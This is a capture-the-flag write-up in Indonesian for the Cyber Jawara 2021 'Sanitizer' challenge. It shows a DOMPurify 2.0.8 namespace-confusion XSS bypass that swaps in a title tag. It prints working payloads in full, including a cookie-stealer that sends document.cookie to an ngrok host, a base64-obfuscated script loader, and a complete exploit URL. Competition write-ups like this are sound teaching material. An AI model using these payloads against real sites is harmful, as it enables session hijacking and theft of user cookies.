[Cyber Jawara 2021] Sanitizer
Diberikan soal dan dua buah website dengan deskripsi seperti berikut
Website Pertama #
Website Kedua #
Dapat kita lihat pada website kedua, terdapat hint yaitu Prove it. Steal admin's cookie if you can. Bagaimana cara melakukannya?
Salah satu cara melakukan Cookie Stealing adalah dengan XSS (Cross Site Scripting)
Tetapi, pada website kedua tidak sembarangan Url dapat diinput, jika diluar dari Url http://sanitizer-cj2021.mooo.com:13005/ maka akan mengembalikan error Url is not valid!
Jadi satu-satunya cara dengan mencari bug XSS pada website pertama ataupun website kedua.
Pada website pertama, dapat kita lihat terdapat potongan code seperti pada gambar di bawah ini
Pada potongan code diatas, kita dapat mengisi nama pada Sertifikat Sanitasi dengan nama yang kita inputkan pada URL dengan format base64
Contoh:
nama = "ryo ganteng"
base64_nama = "cnlvIGdhbnRlbmc="
url = "http://sanitizer-cj2021.mooo.com:13005/#cnlvIGdhbnRlbmc="
Pada potongan code line 70, input akan di sanitize menggunakan library DOMPurify versi 2.0.8
Setelah dilakukan searching, DOMPurify < 2.2.2 terdapat XSS via name space confusion dengan payload berikut.
<form><math><mtext></form><form><mglyph><svg><mtext><style><path id="</style><img onerror=alert(1) src>">
Tetapi jika kita lihat kembali 59, tag style juga termasuk dalam “FORBIDDEN TAGS” yang akan disanitasi pada input, sehingga payload diatas tidak akan berfungsi. Lalu bagaimana caranya??
Kita dapat mengganti tag style menggunakan tag title.
Saya tidak tau persis kenapa tag title ini dapat menggantikan tag style tersebut, tetapi pada saat perlombaan saya mencari alternatif tag style yang mempunyai karakteristik yang mirip dengan tag style, yaitu memperlakukan text yang di dalam tag sebagai plaintext. Entah itu benar adanya atau tidak, tapi alert berhasil ditrigger menggunakan title
Payload
<form><math><mtext></form><form><mglyph><svg><mtext><title><path id="</title><img onerror=alert(1) src>">
Setelah itu tinggal craft payload Cookie Stealer + Ngrok untuk mendapatkan flag
a.js
document.location.replace("https://f6dd-36-88-139-226.ngrok.io/?c=" + document.cookie);
Payload
<form><math><mtext></form><form><mglyph><svg><mtext><title><path id="</title><img id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vZjZkZC0zNi04OC0xMzktMjI2Lm5ncm9rLmlvL2EuanMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 onerror=eval(atob(this.id)) src>">
Base64 Decoded id
var a=document.createElement("script");a.src="https://f6dd-36-88-139-226.ngrok.io/a.js";document.body.appendChild(a);
Final Payload
http://sanitizer-cj2021.mooo.com:13005/#PGZvcm0+PG1hdGg+PG10ZXh0PjwvZm9ybT48Zm9ybT48bWdseXBoPjxzdmc+PG10ZXh0Pjx0aXRsZT48cGF0aCBpZD0iPC90aXRsZT48aW1nIGlkPWRtRnlJR0U5Wkc5amRXMWxiblF1WTNKbFlYUmxSV3hsYldWdWRDZ2ljMk55YVhCMElpazdZUzV6Y21NOUltaDBkSEJ6T2k4dlpqWmtaQzB6TmkwNE9DMHhNemt0TWpJMkxtNW5jbTlyTG1sdkwyRXVhbk1pTzJSdlkzVnRaVzUwTG1KdlpIa3VZWEJ3Wlc1a1EyaHBiR1FvWVNrNyBvbmVycm9yPWV2YWwoYXRvYih0aGlzLmlkKSkgc3JjPiI+
Submit Url diatas ke website kedua, dan flag akan tercurry